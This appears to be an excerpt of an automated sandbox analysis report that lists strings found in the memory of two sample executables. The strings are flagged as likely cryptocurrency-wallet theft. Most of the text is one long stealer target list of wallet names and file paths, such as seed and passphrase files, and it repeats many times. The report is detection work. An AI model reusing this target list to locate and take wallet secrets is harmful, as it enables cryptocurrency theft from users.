File source: Process Memory Space: 5XYR1IZSU740RQ8S.exe PID: 5588, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: V65xPrgEHH.exe	String found in binary or memory: Wallets/Electrum
Source: V65xPrgEHH.exe	String found in binary or memory: Wallets/ElectronCash
Source: V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets\
Source: V65xPrgEHH.exe	String found in binary or memory: Jaxx Liberty
Source: V65xPrgEHH.exe	String found in binary or memory: window-state.json
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: V65xPrgEHH.exe, 00000000.00000003.2293685890.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{
Source: V65xPrgEHH.exe	String found in binary or memory: %appdata%\Ethereum
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: V65xPrgEHH.exe, 00000000.00000003.2369875890.0000000001181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%ap
Source: 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia 